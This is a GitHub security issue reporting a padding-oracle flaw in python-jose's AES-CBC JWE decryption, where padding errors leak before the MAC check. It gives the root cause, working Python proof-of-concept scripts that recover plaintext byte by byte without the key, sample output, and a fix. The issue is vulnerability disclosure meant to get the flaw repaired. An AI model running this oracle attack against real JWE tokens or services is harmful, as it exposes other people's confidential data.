Skip to content

Security vulnerability: JWE AES-CBC Padding Oracle (Full Plaintext Recovery) #402

@everping

Description

@everping

Summary

python-jose decrypts and unpads JWE ciphertext before verifying the MAC tag, creating a classic padding oracle. Three distinct error messages leak whether PKCS7 padding is valid, enabling full plaintext recovery from any AES-CBC JWE token (~128 queries per byte).

Root Cause

jose/jwe.py, _decrypt_and_auth() lines 237-250:

  auth_tag_check = _auth_tag(...)           # line 239: compute expected MAC
  plaintext = encryption_key.decrypt(...)    # line 246: DECRYPT + UNPAD (raises on bad padding!)
  if auth_tag != auth_tag_check:             # line 247: MAC check AFTER — too late
      raise JWEError("Invalid JWE Auth Tag")

CryptographyAESKey.decrypt() (cryptography_backend.py:492-499) runs PKCS7 unpadding which raises ValueError("Invalid padding bytes.") before the MAC comparison is reached. This violates RFC 7516 Section 5.2 Step 14: MAC must be verified first.

Additionally, the MAC comparison at line 247 uses Python != (non-constant-time) instead of hmac.compare_digest().

Oracle Signals

Corruption Error Message Meaning
Valid ciphertext, wrong tag "Invalid JWE Auth Tag" Padding valid, MAC mismatch
Corrupt ciphertext (bad padding) "Invalid padding bytes." Padding invalid (leaked before MAC check)
Wrong-length ciphertext "...not a multiple of the block length." Length error

Affected

  • Algorithms: A128CBC-HS256, A192CBC-HS384, A256CBC-HS512
  • NOT affected: A128GCM, A256GCM (authenticated decryption, single-step)
  • Comparison: authlib is NOT vulnerable (verifies MAC first with hmac.compare_digest())

Proof of Concept

pip install python-jose[cryptography]

1. Oracle Exists (different errors leak padding validity)

from jose import jwe
from jose.utils import base64url_decode, base64url_encode

key = b"0123456789abcdef" * 2
token = jwe.encrypt(b"secret", key, encryption="A128CBC-HS256", algorithm="dir")
h, ek, iv, ct, tag = token.split(b".")
ct_raw, tag_raw = base64url_decode(ct), base64url_decode(tag)

def try_decrypt(ct_mod=ct, tag_mod=tag):
    try:
        jwe.decrypt(b".".join([h, ek, iv, ct_mod, tag_mod]), key)
    except Exception as e:
        return str(e)

print(try_decrypt(tag_mod=base64url_encode(tag_raw[:-1] + bytes([tag_raw[-1]^0xFF]))))
# -> "Invalid JWE Auth Tag"         (padding was valid, MAC wrong)

print(try_decrypt(ct_mod=base64url_encode(ct_raw[:-1] + bytes([ct_raw[-1]^0x01]))))
# -> "Invalid padding bytes."       (padding error LEAKED before MAC check)

Two different errors = attacker can distinguish valid vs invalid padding without knowing the key.

2. Plaintext Recovery via Oracle

Classic CBC padding oracle: flip bytes in the previous ciphertext block, observe which values produce valid padding, recover the intermediate state, XOR with original to get plaintext.

from jose import jwe
from jose.utils import base64url_decode, base64url_encode

key = b"0123456789abcdef" * 2
SECRET = b"RECOVER-SECRET-PLAINTEXT-BYTES!"  # 31 bytes -> 1 byte pad -> 2 blocks
token = jwe.encrypt(SECRET, key, encryption="A128CBC-HS256", algorithm="dir")
h, ek, iv, ct, tag = token.split(b".")
ct_raw = base64url_decode(ct)
B = 16

def padding_ok(ct_mod):
    try:
        jwe.decrypt(b".".join([h, ek, iv, base64url_encode(ct_mod), tag]), key)
        return True
    except Exception as e:
        return "padding" not in str(e).lower()

prev = bytearray(ct_raw[-2*B:-B])
last = ct_raw[-B:]
I = bytearray(B)  # intermediate = AES_decrypt(last_block)

for pos in range(B-1, -1, -1):
    pad = B - pos
    atk = bytearray(prev)
    for j in range(pos+1, B): atk[j] = I[j] ^ pad
    for g in range(256):
        atk[pos] = g
        if padding_ok(ct_raw[:-(2*B)] + bytes(atk) + last):
            I[pos] = g ^ pad; break

recovered = bytes(I[i] ^ prev[i] for i in range(B))
print(f"Recovered: {recovered[:-recovered[-1]]}")

Output:

Recovered: b'LAINTEXT-BYTES!'

LAINTEXT-BYTES! = last 15 bytes of RECOVER-SECRET-PLAINTEXT-BYTES!, recovered without the key. Repeat for all blocks for full plaintext (~128 queries/byte).

Fix

  1. Verify MAC before decrypting (mandatory):

    auth_tag_check = _auth_tag(...)
    if not hmac.compare_digest(auth_tag, auth_tag_check):
        raise JWEError("Invalid JWE Auth Tag")
    plaintext = encryption_key.decrypt(...)  # only after MAC passes
  2. Use constant-time comparison for MAC tag (replace != with hmac.compare_digest()).

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions